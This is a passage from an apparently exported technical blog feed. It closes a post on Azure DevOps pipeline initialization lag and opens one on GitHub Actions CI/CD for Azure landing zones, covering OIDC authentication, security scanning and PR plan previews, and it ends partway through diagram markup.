\u003ccode\u003econdition:\u003c/code\u003e fields. This removes 288 compile-time condition evaluations (8 blocks × 36 loop iterations).\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePost-optimization measurement:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eTrigger → first task: 19.8s (−56%)\u003c/li\u003e\n\u003cli\u003e\u0026ldquo;Expand YAML\u0026rdquo; time: 8.1s (−56%)\u003c/li\u003e\n\u003cli\u003e\u0026ldquo;Evaluating template\u0026rdquo; entries: 10\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe 19.8-second result falls within the ≤20-second target.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"best-practices--optimization\"\u003eBest Practices \u0026amp; Optimization\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eDo:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eMeasure initialization time as a first-class pipeline metric alongside build and test time.\u003c/li\u003e\n\u003cli\u003eCount \u0026ldquo;Evaluating template\u0026rdquo; entries. Above 15 same-repo files or 3 cross-repo files is an optimization target.\u003c/li\u003e\n\u003cli\u003eFlatten leaf templates aggressively.\u003c/li\u003e\n\u003cli\u003eConsolidate cross-repo template references to the minimum necessary.\u003c/li\u003e\n\u003cli\u003eAdd early-exit guards to pipeline decorators.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eDon\u0026rsquo;t:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFlatten templates that are called by many different parents — use consolidation instead.\u003c/li\u003e\n\u003cli\u003eDefer \u003ccode\u003e${{ if }}\u003c/code\u003e logic to runtime \u003ccode\u003econdition:\u003c/code\u003e when the decision adds or removes jobs.\u003c/li\u003e\n\u003cli\u003eInstall organization-wide decorators for functionality only a subset of pipelines needs.\u003c/li\u003e\n\u003cli\u003eUse dynamic template paths (\u003ccode\u003e${{ parameters.type }}/template.yml\u003c/code\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/expressions\"\u003eExpressions — Azure DevOps Pipelines\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/templates?view=azure-devops#template-nesting\"\u003eTemplate usage reference and nesting limits — Azure DevOps\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/extend/list-of-decorator-targets\"\u003ePipeline decorators — Azure DevOps Extensions\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://devblogs.microsoft.com/devops/how-azure-pipelines-processes-yaml/\"\u003eHow Azure Pipelines processes YAML — Azure DevOps Blog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/rest/api/azure/devops/build/timeline/get\"\u003eRuns — Azure DevOps REST API (timeline and timing data)\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n\n1. **Photorealistic / Cinematic:** A close-up of a high-tech analog stopwatch in a dark, stylized laboratory. The stopwatch is blurred in motion as it is being pressed, representing the shaving off of seconds. Intense blue and white light illuminates the scene. The background shows a bokeh of server rack status lights. Cinematic and professional. Wide landscape format, 16:9 aspect ratio.\n\n2. **3D Abstract / Isometric:** Isometric view of a complex 3D maze that is being smoothed out and flattened by a large, translucent plane. The area behind the plane is a clean, straight highway, while the area ahead is a dense jungle of blocks. Minimalist white and slate gray palette with a single bright green arrow. Wide landscape format, 16:9 aspect ratio.\n\n3. **Minimalist Vector / Flat:** Clean flat vector illustration of a \"reduction\" concept. A large, tall pyramid of 100 small squares is being compressed into a single, sleek, wide rectangle. The motion is indicated by subtle gray trailing lines. Professional shades of navy, azure, and white. Wide landscape format, 16:9 aspect ratio.\n\n4. **Cyber-Industrial / Data Flow:** High-contrast dark image of a massive digital clock counting down rapidly. The numbers are made of glowing blue circuit traces. A large, jagged \"lag\" spike in the background is being cut through by a sharp, glowing laser beam. Futuristic and high-speed energy. Wide landscape format, 16:9 aspect ratio.\n\n5. **Claymorphism / Soft 3D:** Soft 3D matte spheres rolling down a perfectly smooth, wide slide. At the top of the slide, a tangled knot of ribbons is being untied. Soft, diffused lighting and a professional tech color palette. Represents the \"Solving Lag\" theme through smooth motion. Wide landscape format, 16:9 aspect ratio.\n\n6. **Macro Tech Detail:** Extreme macro close-up of a high-speed fiber optic cable core. The light is focused into a single, perfectly clear and straight beam. High detail on the cladding and core boundary. Symbolizes zero friction and maximum throughput. Technical and clean. Wide landscape format, 16:9 aspect ratio.\n--\u003e\n","description":"Why Azure DevOps pipelines take 30+ seconds before the first task runs — and the template flattening, hierarchy reduction, and caching strategies that fix it.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/solving-initialization-lag/","title":"Solving Azure DevOps Pipeline Initialization Lag"},{"content":"\u003cp\u003eDeploying your landing zone from a local terminal is a single point of failure. When an engineer\u0026rsquo;s laptop holds the Terraform state, or when \u0026ldquo;just a quick change\u0026rdquo; bypasses review, you no longer have a governed foundation. You have an undocumented configuration that cannot be reliably reconstructed.\u003c/p\u003e\n\u003cp\u003eEnterprise landing zones require version-controlled pipelines. Every change to your management group hierarchy, hub networking, or identity model must be previewed and gated before reaching production. A CI/CD pipeline is the enforcement mechanism that makes your cloud governance model real.\u003c/p\u003e\n\u003cp\u003eBy the end of this guide, you will:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eImplement a PR-driven \u0026ldquo;plan-first\u0026rdquo; workflow.\u003c/li\u003e\n\u003cli\u003eConfigure OIDC-based, secret-less authentication to Azure.\u003c/li\u003e\n\u003cli\u003eAutomate security scanning (Checkov) and WAF compliance (PSRule).\u003c/li\u003e\n\u003cli\u003eDesign sequential deployment layers with environment approval gates.\u003c/li\u003e\n\u003cli\u003eSecure state management for Terraform and Bicep.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThis is Post 8 in the \u003ca href=\"/series/azure-platform-engineering-build-an-enterprise-landing-zone-from-scratch/\"\u003eAzure Platform Engineering series\u003c/a\u003e.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"repository-structure-and-strategy\"\u003eRepository Structure and Strategy\u003c/h2\u003e\n\u003ch3 id=\"organizing-iac-by-layer\"\u003eOrganizing IaC by Layer\u003c/h3\u003e\n\u003cp\u003eA mono-repo simplifies dependency tracking and centralizes branch protection. Organize your platform code by deployment layer:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003elanding-zone/\n├── .github/workflows/\n│   ├── validate.yml          # Pull request validation\n│   └── deploy.yml            # Main branch deployment\n├── live/                     # Environment configurations\n│   ├── layer-0-management/   # Hierarchy and Policies\n│   ├── layer-1-connectivity/ # Hub Networking\n│   └── layer-2-identity/     # Entra ID and PIM\n└── modules/                  # Reusable AVM wrappers\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eKeep application-specific code in separate workload repositories. The platform pipeline deploys the foundation; workload pipelines deploy into it.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"authentication-oidc-with-federated-credentials\"\u003eAuthentication: OIDC with Federated Credentials\u003c/h2\u003e\n\u003cp\u003eGitHub Actions connects to Azure using \u003cstrong\u003eOpenID Connect (OIDC)\u003c/strong\u003e. This eliminates the need for long-lived client secrets. GitHub issues a short-lived token for each run, which Entra ID exchanges for an Azure access token.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eFederated Credential (2026)\u003c/strong\u003e:\nIn 2026, Azure supports \u003cstrong\u003eFlexible Federation\u003c/strong\u003e (wildcards). A single credential can cover all environments in a repo using \u003ccode\u003erepo:org/name:*\u003c/code\u003e.\n\u003cem\u003eNote: Wildcard syntax may require the \u003ccode\u003eclaimsMatchingExpression\u003c/code\u003e property in your App Registration.\u003c/em\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"the-pull-request-workflow\"\u003eThe Pull Request Workflow\u003c/h2\u003e\n\u003ch3 id=\"validation-and-scanning\"\u003eValidation and Scanning\u003c/h3\u003e\n\u003cp\u003eEvery PR triggers \u003ccode\u003evalidate.yml\u003c/code\u003e. The pipeline enforces standards, allowing human review to focus on architecture.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eKey Steps\u003c/strong\u003e:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eTerraform fmt\u003c/strong\u003e: Enforces consistent code style.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCheckov\u003c/strong\u003e: Scans for security misconfigurations (e.g., unencrypted storage).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePSRule for Azure\u003c/strong\u003e: Validates WAF compliance before deployment.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"plan-previews\"\u003ePlan Previews\u003c/h3\u003e\n\u003cp\u003eThe pipeline runs \u003ccode\u003eterraform plan\u003c/code\u003e or \u003ccode\u003eaz deployment mg what-if\u003c/code\u003e and posts the diff as a collapsible PR comment. Reviewers see the exact resource delta without leaving GitHub.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ePost Plan to PR\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003euses\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eactions/github-script@v8\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# 2026 Stable\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ewith\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      const planOutput = fs.readFileSync(\u0026#39;plan.txt\u0026#39;, \u0026#39;utf8\u0026#39;);\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      const body = `## Terraform Plan\\n\u0026lt;details\u0026gt;\u0026lt;summary\u0026gt;Show Plan\u0026lt;/summary\u0026gt;\\n\\n\\`\\`\\`\\n${planOutput}\\n\\`\\`\\`\\n\u0026lt;/details\u0026gt;`;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      await github.rest.issues.createComment({ ...context.issue, body });\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n  \n    \u003csvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      font-family=\"Menlo,Lucida Console,monospace\"\n      \n        viewBox=\"0 0 440 825\"\n      \u003e\n      \u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 8,0 L 408,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,48 L 152,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,48 L 384,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 168,64 L 176,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,80 L 152,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,80 L 312,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,80 L 384,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,96 L 304,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,96 L 408,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,144 L 408,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,192 L 384,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,224 L 208,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,224 L 384,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,304 L 320,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,336 L 208,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,336 L 320,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,416 L 384,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,448 L 208,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,448 L 384,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,528 L 320,528' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,560 L 208,560' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,560 L 320,560' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,640 L 384,640' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,672 L 208,672' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,672 L 384,672' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,752 L 384,752' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,784 L 384,784' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,800 L 408,800' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,0 L 8,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,144 L 8,800' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,48 L 32,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,192 L 32,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,416 L 32,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,640 L 32,672' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,752 L 32,784' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,304 L 96,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,528 L 96,560' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 152,48 L 152,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,224 L 208,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,272 L 208,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,336 L 208,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,384 L 208,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,448 L 208,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,496 L 208,512' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,560 L 208,576' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,608 L 208,624' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,672 L 208,688' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,720 L 208,736' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,48 L 248,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,80 L 312,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,304 L 320,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,48 L 384,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,192 L 384,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 400,424 L 400,440' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 400,648 L 400,664' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 400,760 L 400,776' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,0 L 408,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,144 L 408,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,448 L 408,528' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,560 L 408,640' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,672 L 408,752' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,784 L 408,800' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 424,536 L 424,552' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,424 L 376,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,648 L 376,656' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,760 L 376,768' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,288 L 208,296' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='224.000000,288.000000 212.000000,282.399994 212.000000,293.600006' fill='currentColor' transform='rotate(90.000000, 208.000000, 288.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 208,400 L 208,408' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='224.000000,400.000000 212.000000,394.399994 212.000000,405.600006' fill='currentColor' transform='rotate(90.000000, 208.000000, 400.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 208,512 L 208,520' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='224.000000,512.000000 212.000000,506.399994 212.000000,517.599976' fill='currentColor' transform='rotate(90.000000, 208.000000, 512.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 208,624 L 208,632' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='224.000000,624.000000 212.000000,618.400024 212.000000,629.599976' fill='currentColor' transform='rotate(90.000000, 208.000000, 624.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 208,736 L 208,744' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='224.000000,736.000000 212.000000,730.400024 212.000000,741.599976' fill='currentColor' transform='rotate(90.000000, 208.000000, 736.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 312,128 L 312,136' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='328.000000,128.000000 316.000000,122.400002 316.000000,133.600006' fill='currentColor' transform='rotate(90.000000, 312.000000, 128.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='68' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='212' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='436' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='660' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='772' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='68' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='436' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='660' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='772' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='212' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='436' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='660' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='772' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='660' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='772' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='212' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='436' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='660' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='772' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='68' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='212' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='436' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='660' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='772' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='68' fill='currentColor' style='font-size:1em'\u003eq\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='212' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='436' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='660' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='772' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='68' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='324' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='548' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='212' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='324' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='436' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='548' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='660' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='772' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='324' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='436' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='548' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='660' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='772' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='324' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='436' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='548' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='660' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='772' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='164' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='324' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='436' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='548' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='660' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='772' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='164' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='212' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='660' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='772' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='164' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='324' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='436' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='548' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='660' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='772' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='164' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='212' fill='currentColor' 